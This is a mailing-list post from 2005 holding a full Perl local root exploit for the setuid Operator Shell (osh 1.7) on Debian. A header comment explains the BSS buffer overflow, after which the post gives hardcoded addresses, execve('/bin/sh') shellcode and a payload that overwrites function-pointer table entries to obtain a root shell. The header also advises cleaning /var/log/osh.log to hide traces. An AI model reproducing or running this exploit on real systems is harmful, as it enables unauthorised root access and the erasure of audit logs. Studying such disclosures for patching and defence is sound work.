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Re: Operator Shell (osh) BSS-based Buffer Overflow
From: core () bokeoa com (Charles Stevenson)
Date: Sat, 5 Feb 2005 09:01:35 -0800

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#!/usr/bin/perl 
#######################################################################
#
# OSH 1.7 Exploit
#
# EDUCATIONAL purposes only.... :-)
#
# by Charles Stevenson (core) <core () bokeoa com>
#
# Description:
# The Operator Shell (Osh) is a setuid root, security enhanced, restricted
# shell. It allows the administrator to carefully limit the access of special
# commands and files to the users whose duties require their use, while
# at the same time automatically maintaining audit records. The configuration
# file for Osh contains an administrator defined access profile for each
# authorized user or group.
#
# Problem:
# The patch for the overflows published by Steve Kemp seems lacking. If the 
# following requirements are met we can overflow within the iopen() function: 
# osh must be invoked in non-interactive mode, argv[1] must be a valid command 
# according to /etc/osh.conf (e.g. osh help $(perl -e 'print "A"x8192')). The 
# offending code can be found at main.c:305
#
#    if (found) { /* It's a command, input is a string */
#      inputfp=(FILE *)1;
#      strcpy(inputstring, argv[1]); //XXX: command is copied into inputstring
#      for (i=3;i<=argc;i++) {
#       strcat(inputstring, " "); //XXX: it adds a space
#       strcat(inputstring, argv[i-1]); //XXX: and now overflow is possible
#      }
#      strcat(inputstring, "\n"); /* So it's a command */
#
# So far so good. Looking at the declaration `static char inputstring[1024];'
# we can see that overflow is indeed possible. Here's the layout of memory:
#
#+------------------------------+
#|       Memory Layout          |
#+------------------------------+
#|0x804e340 <inputfp>           |
#|0x804e344 <prompt>            |
#|0x804e348 <pgetcptr>          |
#|0x804e34c <column.0>          |
#+-(can munge everything below)-+
#|0x804e360 <inputstring>       |
#|0x804e760 <NUMENTRY>          |
#|0x804e764 <host>              |
#|0x804e778 <AliasCounter>      |
#|0x804e780 <Table>             |
#|0x804f380 <pwh>               |
#|0x804f3a0 <FileList>          |
#|0x804f540 <AliasList>         |
#|0x804f860 <lg>                |
#|0x804f864 <pw>                |
#+------------------------------+
#
# Table stores a bunch of function pointers to all the routines whether
# internally implemented or called via execv. So I decided to try and
# overwrite the first entry with the address of my shellcode. There were
# several obstacles in between me and my rootshell though. First was a
# loop that performed strcmp's on AliasList items. Rather than fill that
# out I found that I could conveniently set AliasCounter to -1 and skip
# the loop entirely. Next I found that if argv[1] was a builtin command
# and NUMENTRY was a positive integer I could set Table[0].prog_name to match
# argv[1] and it'd call Table[0].handler (So I found "exit" in the executable
# itself thanks to `static struct hand Internal[]'). From main.c:1032
#
#  while (i<NUMENTRY)
#    if (strcmp(Table[++i].prog_name,argv[0])==0)
#      { found=1; break; }
#  ...
#  if (strcmp(Table[i].prog_name, "exit")==0) {
#    (*(Table[i].handler))(argc, argv);
#    return(-2);
#  }
#
# I also point Table[0].path to the NULL at the end of "exit" to prevent a
# crash. Finally there is a check @ line 256 in main.c which attempts to 
# prevent overflow that can be circumvented, my choice was the ampersand due
# to the way select statement works:
#
#             while ((c != EOF) && (c != ';') && (c != '&') && (c != '|')
#                    && (c != '<') && (c != '>') && (c != '\n') && (c != ' ')
#                    && (c != '\t'))
#               c = pgetc();
#             if (c != EOF)
#               pungetc(c,inputfp);
#             return TTOOLONG;
#
# Risk: Medium since user would have to be in the operator group which
#       the admin would have to grant explicitly and I assume would be
#       a trustworthy individual ;-)
#
# Solution:
# apt-get --purge remove osh
#
# greetz to nemo, andrewg, arcanum, mercy, amnesia, banned-it, charbuff, 
# sloth, ktha, KF, akt0r, MRX, salvia, truthix
#
# irc.pulltheplug.org (#social)
# 0dd: much <3 & respect
# 
# Coming out of retirement slowly but surely... damn I'm rusty... 
# who's got some WD40? BSS overflow... mmmhmmm...
# 
# ??/??/02 - First exploited OSH but though no one used it
#            and just recently realised it was in Debian
#            except they had patched the environment holes.
#            References: CAN-2003-0452, BugTraq IDs: 7992, 7993
# 02/03/05 - PoC causes logout() to record bogus username
# 02/05/05 - FF rootshell!! h0h0h0!
#
# I still find it hard to imagine that anyone would use osh
# The code is basically beyond repair. Sudo is better.... :-)
#
# Don't forget to clean /var/log/osh.log
#
#######################################################################
#               PRIVATE - DO NOT DISTRIBUTE - PRIVATE                 #
#######################################################################


#######################################################################
# NOTES:
#######################################################################
# Here's how to get the addresses in case it doesn't work on your box:
# sh-3.00$ xxd /usr/sbin/osh | grep exit | grep -v _exit
# 0005080: 6578 6974 006c 6f67 6f75 7400 7465 7374  exit.logout.test
#
# sh-3.00$ osh more /proc/self/maps | grep osh             
# 08048000-0804e000 r-xp 00000000 03:01 176445     /usr/sbin/osh
# ^--- add this together with 0x5080 to get the address of "exit"
#
# sh-3.00$ python -c "print hex(0x08048000 + 0x5080)"
# 0x804d080
#######################################################################
       
# "Osh is known to compile on: SunOS 4.1.3, Solaris 2.x, Unicos 6.x & 7.x 
# (XMP and YMP), and VAX Ultrix 4.2, SGI IRIX, HP/UX, and AIX 3.2.5."
#
# So send me patches and rets if you have these systems ;-)

$exit_addy = pack("l",
#0x0804d39c # Ubuntu Linux
            # - osh_1.7-12_i386.deb
0x0804d080 # Debian Linux stable/testing/unstable
            # - osh_1.7-11woody1_i386.deb
            # - osh_1.7-12_i386.deb
);
 
# Yanked from one of KF's exploits.. werd brotha ;-) I'm lazy..
$sc = "\x90" x (511-45) .

# 45 bytes by anthema. 0xff less 
"\x89\xe6" . # /* movl %esp, %esi */ 
"\x83\xc6\x30" . # /* addl $0x30, %esi */ 
"\xb8\x2e\x62\x69\x6e" . # /bin /* movl $0x6e69622e, %eax */ 
"\x40" . # /* incl %eax */ 
"\x89\x06" . # /* movl %eax, (%esi) */ 
"\xb8\x2e\x73\x68\x21" . # /sh /* movl $0x2168732e, %eax */ 
"\x40" . # /* incl %eax */ 
"\x89\x46\x04" . # /* movl %eax, 0x04(%esi) */ 
"\x29\xc0" . # /* subl %eax, %eax */ 
"\x88\x46\x07" . # /* movb %al, 0x07(%esi) */ 
"\x89\x76\x08" . # /* movl %esi, 0x08(%esi) */ 
"\x89\x46\x0c" . # /* movl %eax, 0x0c(%esi) */ 
"\xb0\x0b" . # /* movb $0x0b, %al */ 
"\x87\xf3" . # /* xchgl %esi, %ebx */ 
"\x8d\x4b\x08" . # /* leal 0x08(%ebx), %ecx */ 
"\x8d\x53\x0c" . # /* leal 0x0c(%ebx), %edx */ 
"\xcd\x80"; # /* int $0x80 */ 

print "\n\nOperator Shell (osh) 1.7-12 root exploit\n";
print "----------------------------------------------\n";
print "Written by Charles Stevenson <core\ () bokeoa com>\n\n";

# Clear out the environment. 
foreach $key (keys %ENV) { delete $ENV{$key}; } 

# Setup simple env so ret is easier to guess
$ENV{"HELLCODE"} = "$sc"; 
$ENV{"TERM"} = "linux"; 
$ENV{"PATH"} = "/usr/local/bin:/usr/bin:/bin"; 

# Create the payload...
$egg = "&"x1019 .             # pad up to NUMENTRY
       pack("l",0x01d5c001) . # overwrite with a positive int
       "&"x20 .               # ampersand gets pas TTOOLONG
       pack("l",0xffffffff) . # AliasCounter = -1 skips for loop
       "core" .               # shameless self-promotion
       $exit_addy .           # address of "exit"
       pack("l",0xbffffe30) . # address of shellcode in ENV
       $exit_addy;            # address of a NULL terminated string
system("/usr/sbin/osh exit '$egg'"); 

# EOF

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